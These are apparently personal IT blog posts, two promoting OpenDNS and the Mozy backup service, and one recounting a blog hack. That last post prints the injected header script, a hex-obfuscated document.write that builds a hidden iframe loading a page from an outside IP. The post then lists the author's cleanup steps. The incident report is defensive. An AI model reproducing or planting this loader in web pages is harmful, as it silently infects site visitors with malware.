Peter Vatistas

OpenDNS is a fantastic free service for filtering phishing sites, adult sites, and pretty much anything else you can think of.  It also does perform DNS lookups faster than any site that I have seen to date.  It is easy to admin and you can control your entire enterprise with this service.  Best of all it’s free.

One feature I love about OpenDNS is how I can globally set shortcuts to use a short word for a long address. There’s nothing to install and it works how you want it to, no matter which browser you’re using. Add, remove or change your OpenDNS shortcuts at any time.

OpenDNS provides you with the tools to see what’s happening on your network, coupled with the tools to take action. For example, discover that myspace.com is the most frequently visited site on your network, and then block it with a single click.

“Free yourself of DNS-related Internet outages with our zero-downtime global network. Eliminate DNS as a problem source on your network. Using OpenDNS means fewer support calls and headaches, letting you focus on more important issues.” 

Click here to read more and sign up for OpenDNS.

The other night I was organizing all my files, pictures, and music on my computer and I realized if I were to lose even one folder I would be screwed. Normally I run backups every night using an external drive but I never really checked it. I decided to check my backup drives to make sure everything was working properly and the data was there, it wasn’t.

Now just so you know, at one time or another my backup drives were working properly and when I needed to restore any data it was not that hard. For some reason my main backup drive had failed and then data was lost but fortunately for me I still had everything on my main drives. That got me thinking, what is the best and easiest solution out there for backing up my data without worrying about replacing hard drives or making sure everything is running properly. I am an IT guy by day, I don’t want to be an IT guy at home.

A few hours later I found the solution I was looking for and it was a bit overwhelming. I posted my question for a remote backup solutions in many forums, blogs, as well as emailing my IT friends and colleagues; almost everyone said “Mozy“. So I went to the Mozy website and signed up for their MozyHome Free account, 2GB’s of storage! Here is a few features Mozy offers to all their customers, free and paid:

* Open/locked file support: Mozy will back up your documents whether they’re open or closed.
* 128-bit SSL encryption: The same technology used by banks secures your data during the backup process.
* 448-bit Blowfish encryption: Secures your files while in storage, providing peace of mind that your private data is safe from hackers.
* Automatic: Schedule the times to back up and MozyHome does the rest.
* New and changed file detection: MozyHome finds and saves the smallest changes.
* Backs up Outlook files: Disaster-proof email protection.
* Block-level incremental backup: After the initial backup, MozyHome only backs up files that have been added or changed, making subsequent backups lightning fast.
* MozyHome currently supports Windows 2000, XP, and Vista, and Mac OS X 10.4
* MozyPro supports Windows 2000, 2003, XP, and Vista.

Those are some pretty slick services and support for no up front or monthly charges. Whats really cool is their software that is installed on your computer. The application itself runs in the background and has a very small footprint with regards to your memory (RAM) and CPU utilization. Another cool feature is how you can set the amount of bandwidth you want it to use during backups. Because I have a cable modem I set that puppy as high as it can go but for anyone out there who has DSL or less you can throttle it to whatever you need.

Whether your looking for a backup solution or not, Mozy is the only free, full-featured remote backup service. Get peace of mind - click here to try Mozy today.

I really hate when this happens but it does and it is somewhat a regular thing when you manage as many websites as I do. Today I found someone hacked into my blog (this one) and added a bullshit script to my header template.

I am not sure exactly what this script does since I use Linux and Firefox 2 but when I checked out my site on my wife’s computer (Microsoft Windows Vista & IE7) a ton of crap started happening. My web browser froze, my anti-virus was alerting me of potential viruses, and a bunch of Windows errors popped up including the BSOD (isn’t blue screens a thing of the past? LOL).

Anyways I took several steps to ensure whatever or whoever got in was blocked; I notified my host to block the IP receiving whatever information from that bullshit script. Here is what I found:

<script> var s=’3C696672616D65207372633D22687474703A2F2F31
39352E352E3131362E3235302F65782F7374617469632E706870222077
696474683D32206865696768743D32207374796C653D22646973706C61
793A6E6F6E65223E3C2F696672616D653E’; var o=”; for(i=0;i<s
.length;i=i+2) { var c=String.fromCharCode(37); o=o+c+s.
substr(i,2);} document.write(unescape(o)); </script>

The IP address is: 195.5.116.250

After catching this I quickly changed my server passwords, verified that ftp was disabled and the ports were closed (along with all other unused ports), and chmod 755 (instead of 777) the world-writable and uploads directories. After I removed the script from the header I also did a full blown search on every template file. Problem solved.

These kind of things always happen and my advice is to always check html for any changes. It is also very important to change your passwords regularly and keep your ftp ports CLOSED, only use SSH or SFTP if you can. I also have added checking file permissions to my security checklist, every week or so I plan to run through my web files and verify no changes have been made.